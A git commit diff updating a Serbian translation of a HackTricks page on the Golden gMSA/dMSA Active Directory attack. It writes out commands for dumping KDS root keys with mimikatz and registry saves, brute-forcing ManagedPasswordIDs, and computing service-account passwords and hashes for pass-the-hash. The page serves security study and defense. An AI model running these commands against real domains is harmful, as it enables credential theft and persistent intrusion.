mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/golden-d
This commit is contained in:
parent
0f5500427a
commit
c63067c0f5
@ -12,7 +12,7 @@ Postoje dva glavna tipa:
|
||||
|
||||
Za oba varijante **lozinka nije pohranjena** na svakom Domain Controller-u (DC) kao običan NT-hash. Umesto toga, svaki DC može **izvesti** trenutnu lozinku u hodu iz:
|
||||
|
||||
* Šumskog **KDS Root Key** (`KRBTGT\KDS`) – nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom.
|
||||
* KDS Root Key-a na nivou šume (`KRBTGT\KDS`) – nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom.
|
||||
* Ciljanog naloga **SID**.
|
||||
* Per-nalog **ManagedPasswordID** (GUID) koji se nalazi u `msDS-ManagedPasswordId` atributu.
|
||||
|
||||
@ -23,19 +23,19 @@ Nema Kerberos saobraćaja ili interakcije sa domenom potrebne tokom normalne upo
|
||||
|
||||
Ako napadač može da dobije svih tri ulaza **offline**, može izračunati **važeće trenutne i buduće lozinke** za **bilo koji gMSA/dMSA u šumi** bez ponovnog dodirivanja DC-a, zaobilazeći:
|
||||
|
||||
* Kerberos pre-autentifikaciju / logove zahteva za karte
|
||||
* LDAP čitanje revizije
|
||||
* Intervale promene lozinke (mogu ih prethodno izračunati)
|
||||
|
||||
Ovo je analogno *Golden Ticket* za servisne naloge.
|
||||
Ovo je analogno *Golden Ticket*-u za servisne naloge.
|
||||
|
||||
### Preduslovi
|
||||
|
||||
1. **Kompromitovanje na nivou šume** **jednog DC-a** (ili Enterprise Admin). `SYSTEM` pristup je dovoljan.
|
||||
1. **Kompromitovanje na nivou šume** **jednog DC-a** (ili Enterprise Admin), ili `SYSTEM` pristup jednom od DC-a u šumi.
|
||||
2. Sposobnost da se enumerišu servisni nalozi (LDAP čitanje / RID brute-force).
|
||||
3. .NET ≥ 4.7.2 x64 radna stanica za pokretanje [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ili ekvivalentnog koda.
|
||||
|
||||
### Faza 1 – Ekstrakcija KDS Root Key
|
||||
### Golden gMSA / dMSA
|
||||
##### Faza 1 – Ekstrakcija KDS Root Key-a
|
||||
|
||||
Dump sa bilo kog DC-a (Volume Shadow Copy / sirove SAM+SECURITY hives ili daljinski tajne):
|
||||
```cmd
|
||||
@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
|
||||
# With GoldendMSA
|
||||
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
|
||||
GoldendMSA.exe kds
|
||||
|
||||
# With GoldenGMSA
|
||||
GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
Base64 string označen `RootKey` (GUID ime) je potreban u kasnijim koracima.
|
||||
|
||||
### Faza 2 – Enumeracija gMSA/dMSA objekata
|
||||
##### Faza 2 – Enumerisanje gMSA / dMSA objekata
|
||||
|
||||
Preuzmite barem `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
|
||||
GoldenGMSA.exe gmsainfo
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementira pomoćne režime:
|
||||
```powershell
|
||||
@ -64,31 +73,29 @@ GoldendMSA.exe info -d example.local -m ldap
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Faza 3 – Pogađanje / Otkriće ManagedPasswordID (kada nedostaje)
|
||||
##### Faza 3 – Pogodi / Otkrij ManagedPasswordID (kada nedostaje)
|
||||
|
||||
Neka implementacija *uklanja* `msDS-ManagedPasswordId` iz ACL-zaštićenih čitanja.
|
||||
Pošto je GUID 128-bitni, naivan bruteforce je neizvodljiv, ali:
|
||||
|
||||
1. Prvih **32 bita = Unix epoch vreme** kreiranja naloga (rezolucija u minutima).
|
||||
2. Praćeno sa 96 nasumičnih bita.
|
||||
2. Nakon toga sledi 96 nasumičnih bitova.
|
||||
|
||||
Stoga je **uska lista reči po nalogu** (± nekoliko sati) realna.
|
||||
Stoga je **uska rečnik po nalogu** (± nekoliko sati) realističan.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Alat izračunava kandidatske lozinke i upoređuje njihov base64 blob sa pravim `msDS-ManagedPassword` atributom – podudaranje otkriva tačan GUID.
|
||||
|
||||
### Faza 4 – Offline Izračunavanje Lozenke i Konverzija
|
||||
##### Faza 4 – Offline Izračunavanje Lozenke i Konverzija
|
||||
|
||||
Kada je ManagedPasswordID poznat, važeća lozinka je na samo jednu komandu udaljena:
|
||||
Kada je ManagedPasswordID poznat, važeća lozinka je na samo jedan komandu udaljena:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||
```
|
||||
Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`) ili **Rubeus** za zloupotrebu Kerberosa, omogućavajući stealth **lateralno kretanje** i **perzistenciju**.
|
||||
Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`) ili **Rubeus** za zloupotrebu Kerberosa, omogućavajući neprimetno **lateralno kretanje** i **perzistenciju**.
|
||||
|
||||
## Detekcija i ublažavanje
|
||||
|
||||
@ -101,13 +108,15 @@ Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`
|
||||
## Alati
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – referentna implementacija korišćena na ovoj stranici.
|
||||
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – referentna implementacija korišćena na ovoj stranici.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket koristeći derivirane AES ključeve.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Golden dMSA – zaobilaženje autentifikacije za delegirane upravljane servisne naloge](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [Semperis/GoldenDMSA GitHub repozitorijum](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA napad poverenja](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
- [gMSA Active Directory napadi na naloge](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Semperis/GoldenDMSA GitHub repozitorij](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA napad na poverenje](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user